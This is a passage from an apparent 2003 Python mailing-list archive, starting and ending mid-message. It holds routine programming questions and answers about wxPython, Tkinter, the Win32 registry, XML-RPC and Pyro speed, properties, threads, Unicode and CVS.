> >         #add state combo boxs
> >         id = NewId()
> >         self.toolBar.AddControl(wxStaticText(self.toolBar, id, "Static
> > Text 1: "))
> > 
> >         id = NewId()
> >         self.toolBar.AddControl(wxStaticText(self.toolBar, id, "Static
> > Text 2: "))
> > 
> > 
> >         self.toolBar.Realize()
> > 
> > 
> > 
> > class MyApp(wxApp):
> >     def OnInit(self):
> >         frame = MyFrame(NULL, -1, "Hello from wxPython")
> >         frame.Show(true)
> >         self.SetTopWindow(frame)
> >         return true
> > 
> > app = MyApp(0)
> > app.MainLoop()
> 
> Hm.  It seems to work fine for me on Redhat 8.0, using wxPython
> 2.3.4p2.  What version of wxPython are you using?

I've been using both 2.3.2 and the new 2.4.0.  I'll see about getting
2.3.4 on and testing that...



From tundra at tundraware.com  Thu Jan  2 20:50:07 2003
From: tundra at tundraware.com (Tim Daneliuk)
Date: 03 Jan 2003 01:50:07 GMT
Subject: Win32 Drive List Redux
In-Reply-To: <ert1va.ruj2.ln@boundary.tundraware.com>
References: <ert1va.ruj2.ln@boundary.tundraware.com>
Message-ID: <eop2va.igo2.ln@boundary.tundraware.com>

Tim Daneliuk wrote:
> Some time ago, there was a brief thread on how to get a list of
> available drives on Win32.  Peter Hansen suggested the use of:
<SNIP>

Well, here is a "Sort-Of" solution. It suffers from the fact that it is
not in sync with reality of the machine - it reports B: on my system
(which has none) and incorrectly shows a network drive that has been
detatched.  Still, its kind of interesting...


from _winreg import *

reg  = ConnectRegistry(None,HKEY_CURRENT_USER)
k = OpenKey(reg, r"Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints")

drivelist = []
for i in range(QueryInfoKey(k)[0]):
     drivelist.append(EnumKey(k,i) + ":\\")

CloseKey(k)
CloseKey(reg)
print drivelist




-- 
------------------------------------------------------------------------------
Tim Daneliuk
tundra at tundraware.com




From fbartletFIXIT at optonline.net  Fri Jan 24 20:48:18 2003
From: fbartletFIXIT at optonline.net (Frederick Bartlett)
Date: Sat, 25 Jan 2003 01:48:18 GMT
Subject: Advice Needed re: MS-DOS/Win 98 as Python environment
References: <3E31C787.FBAE9794@lvcm.com> <3E31E028.9000501@optonline.net> <3E31E69A.CBF15A74@lvcm.com>
Message-ID: <3E31ECD5.2020700@optonline.net>

zenguyuno at yahoo.com wrote:
<snip>
> Thank you, I will try that.  What's a pif?

You're welcome. pif = (I think) program information file; it's what you 
access when you right-click on a dos program icon (like command prompt). 
Not much in vogue, these days ...

Fred




From lbrannma at cablespeed.com  Thu Jan 16 09:17:49 2003
From: lbrannma at cablespeed.com (Lance)
Date: Thu, 16 Jan 2003 06:17:49 -0800
Subject: reading from a zipped file
Message-ID: <v2df0nqomimr47@corp.supernews.com>

Hi All,

I have a zip file containing maybe 800 html files. I want to open a single
file using the webbrowser.open procedure. Is there a Python module that will
help?

Thanks in advance,
Lance





From grante at visi.com  Sat Jan  4 19:24:33 2003
From: grante at visi.com (Grant Edwards)
Date: 05 Jan 2003 00:24:33 GMT
Subject: Explicit Frustration of the Self
References: <a1d2c9b4.0212302256.3bbd302f@posting.google.com> <yu99n0mmw48b.fsf@europa.research.att.com> <uzlQ9.2011$8n5.515861@news20.bellglobal.com> <WhqdnbfA_sxi9I-jXTWcqw@comcast.com> <tGER9.8038$rr1.1290343@news20.bellglobal.com>
Message-ID: <slrnb1ev1b.bbm.grante@localhost.localdomain>

In article <tGER9.8038$rr1.1290343 at news20.bellglobal.com>, Sean Ross wrote:

> When I first began learning python(and I still am learning), I found the
> practice of passing self as an argument to its instance methods hackish. I
> didn't mind the explicit use of self(and I still don't - in fact I prefer
> it) but I didn't understand why passing it to its own methods was necessary.

I'm confused. I dont pass self as an argument to methods when calling them,
and I don't remember seeing it done in other people's code.  Can you provide
an example of what you're talking about?

-- 
Grant Edwards                   grante             Yow!  I want a WESSON
                                  at               OIL lease!!
                               visi.com            



From dale at riverhall.NOTHANKS.co.uk  Thu Jan 30 10:48:58 2003
From: dale at riverhall.NOTHANKS.co.uk (Dale Strickland-Clark)
Date: Thu, 30 Jan 2003 15:48:58 +0000
Subject: Implicit lists
References: <m4di3v4koufdbf4e2pvsanegli2kqt48ch@4ax.com> <3E3946D0.11555AE6@engcorp.com>
Message-ID: <k9ii3vksqnqk84sui2a312r2239c5fjpd2@4ax.com>

Peter Hansen <peter at engcorp.com> wrote:

>This is probably a better approach in several ways:
>
>def ensureList(thing):
>  try:
>    return list(thing)
>  except TypeError:
>    return [thing]
>
>
>-Peter

Except it doesn't work :-)

>>> list('abc')
['a', 'b', 'c']
>>> 
--
Dale Strickland-Clark
Riverhall Systems Ltd



From irmen at NOSPAM-REMOVETHIS-xs4all.nl  Sat Jan 25 19:40:27 2003
From: irmen at NOSPAM-REMOVETHIS-xs4all.nl (Irmen de Jong)
Date: Sun, 26 Jan 2003 01:40:27 +0100
Subject: Something like asynchronous XML-RPC possible?
In-Reply-To: <mailman.1043503544.26424.python-list@python.org>
References: <mailman.1043454645.26543.python-list@python.org>        <cb035744.0301250336.4f378943@posting.google.com> <mailman.1043503544.26424.python-list@python.org>
Message-ID: <3e332d16$0$49106$e4fe514c@news.xs4all.nl>

Skip Montanaro wrote:
> 
> How "realtime" is "sort of realtime"?  Are you on a fast enough, lightly
> loaded enough network?  You may still be able to get away with a system
> which queues the event on the server side and just returns "okay".  On my
> XML-RPC server, I can call its echo method with very short turnaround times:

[...]

> (It's an active server, so variability in response time is to be expected.)
> It's multi-threaded, spinning off a thread for each request.  Even over the
> internet I can get round-trip echo times in the neighborhood of 0.2 seconds.

Interesting. Not to show off, but for comparison, I just did a quick 
test with Pyro.
On my measly 128kbit internet uplink, it reaches:
  avg. time per method call: 0.04039
On my 100 mbit LAN, it reaches:
  avg. time per method call: 0.00147

Pyro's oneway call (asynchronous) is *much* faster than that:
100 times fe 0.333815932274 ( that's 0.0033 sec/call) on my internet 
link, and 100 times fe 0.0474219322205 ( so that's 0.00047 sec/call) on 
my LAN.

Notice how much faster a oneway call really is: 12 times faster on my 
slow uplink, but still 3 times faster on the fast network.


Irmen de Jong




From max at alcyone.com  Wed Jan 15 21:30:43 2003
From: max at alcyone.com (Erik Max Francis)
Date: Wed, 15 Jan 2003 18:30:43 -0800
Subject: Copyright on the Python and Python-console icons?
References: <mailman.1042676608.16117.python-list@python.org>
Message-ID: <3E261953.52875D2F@alcyone.com>

Tim Peters wrote:

> I use the word "afraid" but don't believe I've emphasized it.

I disagree.

>     It's not worth the extremely negative potential payoff should
>     things turn ugly.
> 
> doesn't sound like encouragement <wink>, and "afraid" comes from the
> "F" in
> FUD.

Am I going to have to invoke the Descartes argument?  You have two
possibile scenarios.  In both, he uses the copyrighted material; in the
first, he secures permission before doing so, and in the second, he
doesn't bother.

In the first case, he's fine, because he has permission.  In the second,
there is always the possibility that the copyright holder (which may
change its disposition, or change holders entirely) will get upset with
what he's doing and bring suit.  If this were to happen, it would have
extremely negative payoff, whether or not you estimate it as having very
low probability.  The first situation has a non-negative expected value,
the second situation has a negative expected value.

You figure the rest out.

> No, you do more than just that:  you've counseled Mike repeatedly to
> 
>     get rock solid assurance (a written and signed waiver on physical
>     paper), or don't bother
> 
> and repeat that again in different words next.

Yes, because that is standard advice that is given the world around when
people are considering the use of copyrighted works.  Whether this has
to do with Python or the PSF or Joe Shmoe in Podunk, Idaho doesn't
change that.

> Nope, I'm trying to assure Mike that the risks are-- contrary to the
> FUD --so minimal as to be laughable.

You do realize that blindly shouting "FUD!" is, itself, FUD, don't you?

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ And there inside our private war / I died the night before
\__/ Sade
    Bosskey.net: Counter-Strike / http://www.bosskey.net/cs/
 A personal guide to Counter-Strike.



From max at alcyone.com  Thu Jan 16 05:34:24 2003
From: max at alcyone.com (Erik Max Francis)
Date: Thu, 16 Jan 2003 02:34:24 -0800
Subject: classmethod() not inherited?
References: <mailman.1042710569.22446.python-list@python.org>
Message-ID: <3E268AB0.F9E9EB8C@alcyone.com>

Jack Diederich wrote:

> I'd like to have ALL of the derivitives of Base
> have foo as a classmethod, but it doesn't seem
> to be automatic and the following doesn't work

do foo = classmethod(foo) after each further declaration of foo in the
derived classes.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Nine worlds I remember.
\__/ Icelandic Edda of Snorri Sturluson
    Blackgirl International / http://www.blackgirl.org/
 The Internet resource for black women.



From frithiof.jensen at removethis.ted.ericsson.dk  Tue Jan 14 06:45:50 2003
From: frithiof.jensen at removethis.ted.ericsson.dk (Frithiof Andreas Jensen)
Date: Tue, 14 Jan 2003 12:45:50 +0100
Subject: X#, a new Msft functional language similar to Lisp; Python prominently mentioned
References: <3E2364CC.7060604@earthlink.net>
Message-ID: <b00smf$pge$1@newstoo.ericsson.se>

"Ron Stephens" <rdsteph at earthlink.net> wrote in message
news:3E2364CC.7060604 at earthlink.net...
>..... a
> functional programming style that treats data and code as one and the
> same thing, like Lisp.
>

Hrmpf:

Is this not the way most Microsoft Apps work?

And is this not why there is such an abundance of problems ranging from
common failures to devious cracks "available" for the Windows platform?





From edream at tds.net  Sat Jan 18 17:36:53 2003
From: edream at tds.net (Edward K. Ream)
Date: Sat, 18 Jan 2003 22:36:53 GMT
Subject: 2.3 a1 True/False bug in tkinter?
Message-ID: <9GkW9.147257$Hs2.12753686@kent.svc.tds.net>

Hi,

I have tkinter code that works on 2.1 and 2.2 and fails on 2.3 a1 (on XP).

The code initializes tk checkboxes as follows:

for var in ivars:
  exec("self.%s_flag.set(c.%s_flag)" % (var,var))

This appears to work fine.  However, the following code later fails:

for var in ivars:
  exec("c.%s_flag = self.%s_flag.get()" % (var,var))

with the following traceback:

>>> Traceback (most recent call last):
File "c:\Apps\leo-3.9\leoFileCommands.py", line 1682, in write_LEO_file
c.setIvarsFromFind()
File "c:\Apps\leo-3.9\leoCommands.py", line 136, in setIvarsFromFind
find.set_ivars(c)
File "c:\Apps\leo-3.9\leoFind.py", line 254, in set_ivars
exec("c.%s_flag = self.%s_flag.get()" % (var,var))
File "<string>", line 1, in ?
File "c:\Apps\Python23\lib\lib-tk\Tkinter.py", line 239, in get
return getint(self._tk.globalgetvar(self._name))
ValueError: invalid literal for int(): False

Should this be considered a problem with Python or tkinter?  It seems like a
natural thing to do.

Edward
--------------------------------------------------------------------
Edward K. Ream   email:  edream at tds.net
Leo: Literate Editor with Outlines
Leo: http://personalpages.tds.net/~edream/front.html
--------------------------------------------------------------------





From altis at semi-retired.com  Mon Jan 20 20:37:30 2003
From: altis at semi-retired.com (Kevin Altis)
Date: Mon, 20 Jan 2003 17:37:30 -0800
Subject: Where do you store data files?
References: <bdb5b58f.0301201653.3a9166d4@posting.google.com>
Message-ID: <yu1X9.67$Rj1.139789@news.uswest.net>

"logistix" <logistix at zworg.com> wrote in message
news:bdb5b58f.0301201653.3a9166d4 at posting.google.com...
> I've got a project that generates a simple text-format database and
> will probably generate a few dozen more documents for caching
> purposes.  I'm just trying to decide where I should store them.  I was
> thinking about just creating a subfolder in the module, which is fine
> for Windows but doesn't seem to be the "appropriate" Unix place to
> store it.
>
> Just wondering what other people were doing.

In PythonCard, I decided to go with os.environ['HOME'] and
os.environ['USERPROFILE'] as a base directory. See my mailing list post:

http://aspn.activestate.com/ASPN/Mail/Message/PythonCard/1496793

ka





From cnetzer at mail.arc.nasa.gov  Thu Jan 16 20:31:19 2003
From: cnetzer at mail.arc.nasa.gov (Chad Netzer)
Date: Thu, 16 Jan 2003 17:31:19 -0800
Subject: Finding the calling method (or caller)
In-Reply-To: <b07kba$miq$1@panix2.panix.com>
References: <df392399.0301141226.1554a055@posting.google.com> <b07kba$miq$1@panix2.panix.com>
Message-ID: <200301170131.RAA22372@mail.arc.nasa.gov>

On Thursday 16 January 2003 16:56, Aahz wrote:

> Why do you want to know this?  There's likely to be a better way than
> using sys._getframe().

I use introspection techniques like this to enforce calling through the 
"public" api, and not the private.

Often, I'll have public API methods, say api.a(), api.b(), api.c(), 
etc.  But to actually implement it, underneath the hood, I'll have 
multiple objects with the same function names, ie:  foo.a(), bar.b(), 
eggs.c(), etc.

When I'm coding, I want to use the public API as well, rather than 
directly calling the underlying implementation functions.  This allows 
me to do things like record scripts of the API calls, for replay, or 
otherwise put a layer between it and the implementation.  I don't want 
to have calls going on behind the back of the API that aren't recorded 
(except those that truly are internal)

Anyway, that is one way that I use it.  I've actually wondered if there 
were other, perhaps better techniques that didn't involve name 
mangling.  But this kind of thing works well for me.

But, as to the actual question of the original, I'm not sure how to 
find the method that was called.  I usually just enforce the caller, 
and trust that I've coded the proper chain of methods. :)

Right now I can make sure that foo.a() is called by api.a(), but I 
don't verify that foo.b() is called by api.b() rather than api.a().  I 
think that is a bit too introspective and fragile.  Better to just have 
the proper tests of the API to verify that I didn't make such a typo...

BTW. I do the actual caller verification with kludges like:

def _only_callable_from_object( calling_obj ):
    # Go up two frames, since this call adds an extra stack frame
    two_frames_up = inspect.currentframe().f_back.f_back
    return (two_frames_up.f_locals[ 'self' ] == calling_obj)

I could make it more robust, I suppose, but it fits my current needs.

-- 
Bay Area Python Interest Group - http://www.baypiggies.net/

Chad Netzer





From brian at sweetapp.com  Thu Jan 23 13:13:41 2003
From: brian at sweetapp.com (Brian Quinlan)
Date: Thu, 23 Jan 2003 10:13:41 -0800
Subject: Is there really a default source encoding?
In-Reply-To: <yfswukv29le.fsf@black132.ex.ac.uk>
Message-ID: <003801c2c30b$28f5d010$21795418@dell1700>

> Why not just utf-8? At least the move to ascii might be a (roundabout)
> step in that direction...

Because making the default encoding UTF-8 would break the majority of
source files that include non-ASCII characters.

Cheers,
Brian





From syntheticmuse at nandomail.com  Wed Jan 15 08:42:26 2003
From: syntheticmuse at nandomail.com (syntheticmuse)
Date: Wed, 15 Jan 2003 08:42:26 -0500
Subject: [OT] Seeking Minimal Python Project Name
References: <3e22b7f7@news.swissonline.ch>
Message-ID: <uDKdnVt1fak2-bijXTWcoA@giganews.com>

Here's a few possibilites straight from the mind of minolta:

SNAKE.
Venom.
P-Minus
Thonic
Snake Oil
Garter
Cleese
Chapman
Dinsdale
Lumberjack

Or if brevity is not your thing, and obscurity is:

Johann Gambolputty de von 
Ausfern-schplenden-schlitter-crasscrenbon-fried-digger-dingle-dangle-
dongle-dungle-burstein-von-knacker-thrasher-apple-banger-horowitz-
ticolensic-grander-knotty-spelltinkle-grandlich-grumblemeyer-
spelterwasser-kurstlich-himbleeisen-bahnwagen-gutenabend-bitte-ein-
nurnburger-bratwustle-gernspurten-mitz-weimache-luber-hundsfut-
gumberaber-shonedanker-kalbsfleisch-mittler-aucher von Hautkopft of Ulm







From andrew at indranet.co.nz  Sun Jan  5 06:45:33 2003
From: andrew at indranet.co.nz (Andrew McGregor)
Date: Mon, 06 Jan 2003 00:45:33 +1300
Subject: ping multiple Ips with python
In-Reply-To: <TTKR9.79409$eq2.18907230@twister.nyroc.rr.com>
References: <8db020b9.0301031420.25e56f3b@posting.google.com>
 <_dsR9.67891$eq2.17373053@twister.nyroc.rr.com>
 <TTKR9.79409$eq2.18907230@twister.nyroc.rr.com>
Message-ID: <2089970000.1041767133@localhost.localdomain>

I wasn't sure at a first glance if it did work.  Now I go back and look, 
I'm sure it does.

Andrew

--On Sunday, January 05, 2003 00:21:07 +0000 darrell <dgallion1 at yahoo.com> 
wrote:

> Didn't mess with the checksum since it works and it's fast enough.
> The pyrex code was cool to look at.

Thanks.  I was just trying to learn pyrex, but since it's also around 30x 
faster, I'm going to keep it :-)

Andrew





From martin at v.loewis.de  Fri Jan 17 12:39:44 2003
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Fri, 17 Jan 2003 18:39:44 +0100
Subject: pyd == dll, or how to create a c-extension with visual studio
In-Reply-To: <3E282DE4.2000608@molgen.mpg.de>
References: <3E282DE4.2000608@molgen.mpg.de>
Message-ID: <b09f4r$39p$04$1@news.t-online.com>

Axel Kowald wrote:
> if I want to create a c-extension for python with visual studio under 
> windows, do I compile my source code into a dll and then simply rename 
> the extension to pyd ??  Or is a pyd file different from a dll ?

It is not different. You can either rename the file, tell the VC++ 
project that the name of the output file is foo.pyd, or just use .dll as 
the extension name.

> If someone has a simple Visual-Studio project file for creating a python 
> c-extension, I would be grateful for a copy.

I recommend to use distutils instead of project files.

Regards,
Martin





From bokr at oz.net  Tue Jan  7 09:59:10 2003
From: bokr at oz.net (Bengt Richter)
Date: 7 Jan 2003 14:59:10 GMT
Subject: How to change colors of console window?
References: <3e1ab443_1@corp.newsgroups.com>
Message-ID: <avepvu$o6k$0@216.39.172.122>

On Tue, 7 Jan 2003 06:16:02 -0500, "Bill Walker" <kwalker at earth1.net> wrote:

>Is there a way to change the drab white on black of the dos console window
>to some other color scheme, say yellow on blue?

system menu > properties > colors

To get the system menu, Alt-Spacebar should drop it down,
or click the icon at the leftmost in the title bar.

Regards,
Bengt Richter



From donnalcwalter at yahoo.com  Wed Jan  8 05:54:40 2003
From: donnalcwalter at yahoo.com (Donnal Walter)
Date: Wed, 8 Jan 2003 04:54:40 -0600
Subject: Source Forge CVS
References: <8amcnSAFceW664qjXTWcpQ@comcast.com> <d571ae53.0301050835.792a1826@posting.google.com>
Message-ID: <avgvvg$kfr$1@main.gmane.org>

"Jonathan Ellis" <ellisjb at my-deja.com> wrote:
> "Justin Shaw" <wyojustin at hotmail.com> wrote:
> > I have a project set up on source forge, SpellQuest,  I need to
> > set up the CVS repository.  Can someone tell me how to do it
> > from Windows or Linux. The Sourceforge how to tells you to "log
> > into the CVS server"  what is that? Is it different from
> > spellquest.sf.net?  I'd appreciate the set by step commands if
> > anyone can fill them in for me.
>
> kind of a meta-answer: the best cvs front-end for windows (or linux,
> for that matter) is smartcvs.  the free version is quite good, and if
> you want the extra features in the payware version it's quite
> affordable.

I am in much the same boat as Justin. Generally I am pretty adept at
figuring things out for myself, but somehow I am missing one or two crucial
steps. Part of the problem is that all the instructions seem to be written
for Unix users and for the moment at least I am stuck with Windows.

So, I downloaded smartcvs and ran the setup. It looks like it is exactly
what I need, but again, I can't quite get it to connect with my project on
SF. Here is my first specific question. Does smartcvs have all I need to
make this connection, or do I need to download some kind of SSH support as
well? Thanks.

Donnal Walter
Arkansas Children's Hospital







From mwm at mired.org  Thu Jan  9 11:49:04 2003
From: mwm at mired.org (Mike Meyer)
Date: Thu, 09 Jan 2003 16:49:04 GMT
Subject: Generate variables at run time?
References: <VyPS9.6818$xs6.347786501@newssvr14.news.prodigy.com> <avi7k2$g5tob$1@ID-89047.news.dfncis.de> <Z77T9.276$V71.172@newssvr19.news.prodigy.com> <x7bs2quwt6.fsf@guru.mired.org>
Message-ID: <x71y3muv3u.fsf@guru.mired.org>

Mike Meyer <mwm at mired.org> writes:
> Assuming you have a class Train, here's how to
> 
> Create the list of trains: train = {}

Doh. Obviously, that creates the *dictionary* of trains.

        <mike
-- 
Mike Meyer <mwm at mired.org>			http://www.mired.org/home/mwm/
Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information.



From BPettersen at NAREX.com  Wed Jan 22 12:30:18 2003
From: BPettersen at NAREX.com (Bjorn Pettersen)
Date: Wed, 22 Jan 2003 10:30:18 -0700
Subject: How to get a running process to recompile certain scripts
Message-ID: <60FB8BB7F0EFC7409B75EEEC13E2019201BFE13E@admin56.narex.com>

> From: Paul Mackinney [mailto:paul at mackinney.net] 
> 
> I'm tinkering with a custom archiver for Mailman. My scripts 
> are getting
> called just fine, but I'd like to be able to update them 
> without having
> to halt Mailman.
[...]
>   # PaulArchiver.py
> 	sys.path.append(<my working dir>)
> 
> 	def PaulArchive.py(mailinglist, message):
> 	  MyWorkingScript(<params>)
> 
> The thing I don't know how to do is to have changes to the scripts in
> <my working dir> recompiled without restarting Mailman since it's a
> working server for other lists (that use the regular archiver).

Try:

  import PaulArchive
  reload(PaulArchive)
  PaulArchive.doSomething()

it will only work for code you execute after the reload, i.e. if you
have handles to e.g. functions in your module they won't get
refreshed...:

  a = PaulArchive.a
  reload(PaulArchive)
  a(...) # calls the old a
  PaulArchive.a(...) # calls the new a

-- bjorn




From gradha at terra.es  Tue Jan 21 18:33:31 2003
From: gradha at terra.es (Grzegorz Adam Hankiewicz)
Date: Wed, 22 Jan 2003 00:33:31 +0100
Subject: Python use growing or shrinking
In-Reply-To: <3E2DD270.8CB2FA4A@engcorp.com>
References: <v2rhpd4d6p8f79@corp.supernews.com> <3E2DD270.8CB2FA4A@engcorp.com>
Message-ID: <20030121233331.GA4356@pedos.es>

On Tue, Jan 21, 2003 at 06:06:24PM -0500, Peter Hansen wrote:
> After all, didn't we all remove the words "programming language"
> from all our Python pages as a result of the recent revelation
> that the language is not Turing-Complete (since it can't handle
> infinite memory)....  <wink>.

Do you have a link to a Turing-Complete language? I have here some
text to process of infinite lentgh... <wink>




From frithiof.jensen at removethis.ted.ericsson.dk  Thu Jan 23 07:04:45 2003
From: frithiof.jensen at removethis.ted.ericsson.dk (Frithiof Andreas Jensen)
Date: Thu, 23 Jan 2003 13:04:45 +0100
Subject: Where do you store data files?
References: <bdb5b58f.0301201653.3a9166d4@posting.google.com> <yu1X9.67$Rj1.139789@news.uswest.net>
Message-ID: <b0ol5d$ifn$1@newstoo.ericsson.se>

"Kevin Altis" <altis at semi-retired.com> wrote in message
news:yu1X9.67$Rj1.139789 at news.uswest.net...
> In PythonCard, I decided to go with os.environ['HOME'] and
> os.environ['USERPROFILE'] as a base directory. See my mailing list post:

Excellent suggestion - I was pondering the very same ;-)





From jack at performancedrivers.com  Thu Jan  9 13:29:07 2003
From: jack at performancedrivers.com (Jack Diederich)
Date: Thu, 9 Jan 2003 13:29:07 -0500
Subject: invoking multiple methods (Was: Python vs. Ruby)
In-Reply-To: <x7heciuxhp.fsf_-_@guru.mired.org>; from mwm@mired.org on Thu, Jan 09, 2003 at 03:57:38PM +0000
References: <001501c2b1e4$dac88770$21795418@dell1700> <mailman.1041520444.17527.python-list@python.org> <7W%S9.13908$t06.405476@news2.east.cox.net> <3E1CD82B.3E67E420@alcyone.com> <x7heciuxhp.fsf_-_@guru.mired.org>
Message-ID: <20030109132907.A7074@localhost.localdomain>

On Thu, Jan 09, 2003 at 03:57:38PM +0000, Mike Meyer wrote:
> Erik Max Francis <max at alcyone.com> writes:
> 
> > "Stuart D. Gathman" wrote:
> > >   aList.sort();.reverse()       # aList.sort(); aList.reverse()
> > > A statement cannot begin with '.', so ';.' means to invoke another
> > > method
> > > on the same object.
> > But is this awkwardness really worth it?  One of Python's truly great
> > assets is its transparently readable code.  I'm opposed on general
> > principle to anything which defeats that.
> 
> True. However, the idea of specifying multiple methods on the same
> object is consistent with recent changes (op=, for instance), and
> seems useful enough to be worth writing a PEP for - *if* a readable
> syntax can be invented for it.
> 
> I don't like ;.. I'm not sure I like the idea of tweaking the
> semantics of statement at all. Maybe something like:
> 
>         aList.(sort(), reverse())
> 

Some people seem to like lists, etc to return an lvalue and other
people think it dilutes the language.  To borrow from another language
would something like

import lvalues from pragma

be acceptable?
The return values that are currently None would then be self for all
calls in that module.

-jackdied




From norm at norm.com  Sat Jan 25 12:57:21 2003
From: norm at norm.com (Norm)
Date: Sat, 25 Jan 2003 12:57:21 -0500
Subject: IDLE Python GUI
References: <3e32a1a6_4@corp.newsgroups.com>
Message-ID: <3e32ce04_4@corp.newsgroups.com>

Thanks for all the replies.  I must say this.  Being relatively new to UNIX
/ Linux I find that I use pico as my main editor - why?  Emacs confuses the
heck out of me.  Geez louise that program is like an o/s all on it's own.

vi I've never tried.

Pico is just so quick, clean and straightforward to use - I'm sure there is
a reason why I shouldn't be!

Thanks
Norm


"Norm" <norm at norm.com> wrote in message
news:3e32a1a6_4 at corp.newsgroups.com...
> I'm really just getting started in Python with the goal of improving my
> Linux networking administration.
>
> I'm learning / practicing with IDLE Python GUI.
>
> Q.  What does the real Python community use for creating Python programs?
>
> Thanks
> norm
>
>
>
>
>
>
> -----= Posted via Newsfeeds.Com, Uncensored Usenet News =-----
> http://www.newsfeeds.com - The #1 Newsgroup Service in the World!
> -----==  Over 80,000 Newsgroups - 16 Different Servers! =-----




-----= Posted via Newsfeeds.Com, Uncensored Usenet News =-----
http://www.newsfeeds.com - The #1 Newsgroup Service in the World!
-----==  Over 80,000 Newsgroups - 16 Different Servers! =-----



From mcfletch at rogers.com  Wed Jan 15 16:49:48 2003
From: mcfletch at rogers.com (Mike C. Fletcher)
Date: Wed, 15 Jan 2003 16:49:48 -0500
Subject: Detect when a class member is updated
In-Reply-To: <67446a0a.0301151321.76ee5489@posting.google.com>
References: <67446a0a.0301150634.f6d0c43@posting.google.com> <JreV9.3050$YI5.839@news2.central.cox.net> <slrnb2at1n.1hk.gerhard.haering@haering.opus-gmbh.net> <67446a0a.0301151321.76ee5489@posting.google.com>
Message-ID: <3E25D77C.3050605@rogers.com>

Properties are, IMO, the great unsung feature of 2.2.x that should have 
_everyone_ move to it (the feature that everyone sings about, the 
type-class unification, is undeniably wonderful too, but everyone 
already sings about that).  Subclassed properties give you amazing power 
in automating data-driven Python applications.  They can:

    * interact with watchers, (update databases or GUIs on set/del, for
      example)
    * check data-types,
    * perform automatic value coercian (ingoing and outgoing),
    * linearise their own definitions (i.e. they can write themselves
      out to disk and be reloaded later to facilitate run-time-composed
      data-types (classes)),
    * provide attribute documentation (and other attributes/properties)
      to automate presentation,
    * automate object initialisers,
    * and provide default values/functions.

(Among other uses).

Hey, how did I get up on this box?
Mike

Boethius wrote:

>Gerhard H?ring <gerhard.haering at opus-gmbh.net> wrote in message news:<slrnb2at1n.1hk.gerhard.haering at haering.opus-gmbh.net>...
>
>  
>
>>Note that properties only work with new-style classes (inherited from
>>object). See http://python.org/2.2.2/descrintro.html for details.
>>    
>>
>
>Thanks, this properties thing was totally unknown to me.
>  
>
_______________________________________
  Mike C. Fletcher
  Designer, VR Plumber, Coder
  http://members.rogers.com/mcfletch/







From bvdpoel at kootenay.com  Fri Jan 24 13:28:19 2003
From: bvdpoel at kootenay.com (Bob van der Poel)
Date: Fri, 24 Jan 2003 11:28:19 -0700
Subject: tkinter + unicode + bug or feature??
Message-ID: <3E3185C3.90402@kootenay.com>

I've got a tkinter application which (just??) developed a most 
distressing bug. Using tkinter Entry() widgets I gather data. Then I use 
the get() method to grab the data out of the widget and ASSUME that the 
result is a python string.

Well, this worked just fine... but I've just discovered that if any of 
the entered information is outside the ascii range of 0..127 the string 
returned is NOT a python string but a unicode string.

I'm not keen to recode the entire application to use unicode.

But, when the program does any manipulation of the unicode strings, like 
a comparison to a "real" string, the program crashes with a:

      ASCII encoding error, ordinal not in range 128.

So, can I force tkinter to return non-unicode strings? Or can I write a 
function to convert all my Entry widget strings to be non-unicode. And, 
I am dreaming that this is a new problem? I recently upgraded my Linux 
box to mandrade 9.0 and it has installed python 2.2.1.

Thanks.

-- 
Bob van der Poel ** Wynndel, British Columbia, CANADA **
EMAIL: bvdpoel at kootenay.com
WWW:   http://www.kootenay.com/~bvdpoel





From franck.lepoutre at caramail.com  Thu Jan 30 11:45:39 2003
From: franck.lepoutre at caramail.com (francois lepoutre)
Date: Thu, 30 Jan 2003 17:45:39 +0100
Subject: Sybase ASA + python:  a great combo 
References: <f918ac11.0301300759.4ac814bc@posting.google.com>
Message-ID: <3e394ec4$0$11900$79c14f64@nan-newsreader-01.noos.net>

Hi,

> I need of Sybase SQL Anywhere connection. Maybe having
> ODBC-driver I need not of any specific technology to make connection?

Sybase ASA+python is a great combination both on
win32 and linux RH.

You just need mxODBC on top of your ODBC connectivity
(pre-installed on win32, some work required on linux....).

A most expressive language with a most expressive db...
You are going to be even more productive :)

Fran?ois





From phr-n2003b at NOSPAMnightsong.com  Fri Jan 24 14:04:36 2003
From: phr-n2003b at NOSPAMnightsong.com (Paul Rubin)
Date: 24 Jan 2003 11:04:36 -0800
Subject: killing thread ?
References: <b0r1ds$10s0fi$1@hades.rz.uni-sb.de> <mailman.1043410542.25830.python-list@python.org> <b0rhl7$112v7d$2@hades.rz.uni-sb.de> <b0rkdb$g9l$01$1@news.t-online.com> <7x3cni1sqp.fsf@ruckus.brouhaha.com> <mailman.1043424035.17589.python-list@python.org> <7xisweedcd.fsf@ruckus.brouhaha.com> <3E3188BF.3C39D8CA@engcorp.com>
Message-ID: <7xd6mme5dn.fsf@ruckus.brouhaha.com>

Peter Hansen <peter at engcorp.com> writes:
> It's not a question of right or wrong: Python was intended to be very
> cross-platform, as opposed to many other languages which try to provide
> support for every nuance of every different platform which results in a 
> situation in which programs are absolutely *not* cross-platform because
> even relatively simple programs, e.g. those using threads, cannot run
> the same on more than one supported platform.

Deciding whether to use features that arespecific to a particular OS
should be the prerogative of the application designer, not the
programming language.  The reason we have OS wars all the time and
everyone has opinions about what OS is best, is that OS's are not all
the same.  And if your favorite OS has some advantage over other OS's,
but Python won't let you use your OS's advantage to make your
application better, that kind of defeats the idea of Python as a
platform for writing the best applications that you can.

All kinds of stuff like process control, file i/o operations, etc.
are OS dependent and Python supports OS specific calls to deal with
those things.  Why on earth should threads have to get a bigger dose
of OS-independence religion than ioctl gets?  This just baffles me.



From pdm at zamazal.org  Mon Jan 27 14:32:26 2003
From: pdm at zamazal.org (Milan Zamazal)
Date: 27 Jan 2003 20:32:26 +0100
Subject: spambayes rocks
References: <rulk2v0346as3faklg246o9ct42n359t2u@4ax.com>
Message-ID: <87fzre2xth.fsf@zamazal.org>

>>>>> "CS" == Chris Spencer <clspence at one.net> writes:

    CS> Spammers should be very afraid of this library.

No, IMHO spammers *profit* from such highly personalized solutions.

Please note that the primary goal of most spammers is not to annoy you,
